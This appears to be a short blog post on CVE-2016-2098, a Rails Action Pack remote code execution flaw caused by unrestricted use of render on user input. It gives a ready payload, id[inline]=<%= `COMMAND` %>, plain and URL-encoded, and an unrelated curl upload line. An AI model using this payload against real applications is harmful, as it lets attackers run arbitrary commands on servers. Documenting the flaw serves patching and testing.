CVE-2016–2098 💎
Table of Contents
Action Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application’s unrestricted use of the render method.
Issue:
This issue comes from the usage of the render method on user-supplied data. Render is mainly used to render a raw file from an absolute path. It also allows to render plain text ( plaintext) and even inline code ( inline ).
You can read more about the render method here.
Syntax:
$ curl -F/--form 'file=@PATH' https://example.com/
Exploitation:
URL:
http://example/pages?id=test
http://example/pages?id[inline]=<%= `COMMAND` %>
URL ENCODED:
http://example/pages?id[inline]%3D%3C%25%3D%20%60COMMAND%60%20%25%3E
Thanks for reading this post, if you like my work you can support by buying me a pizza. 🍕
Read other posts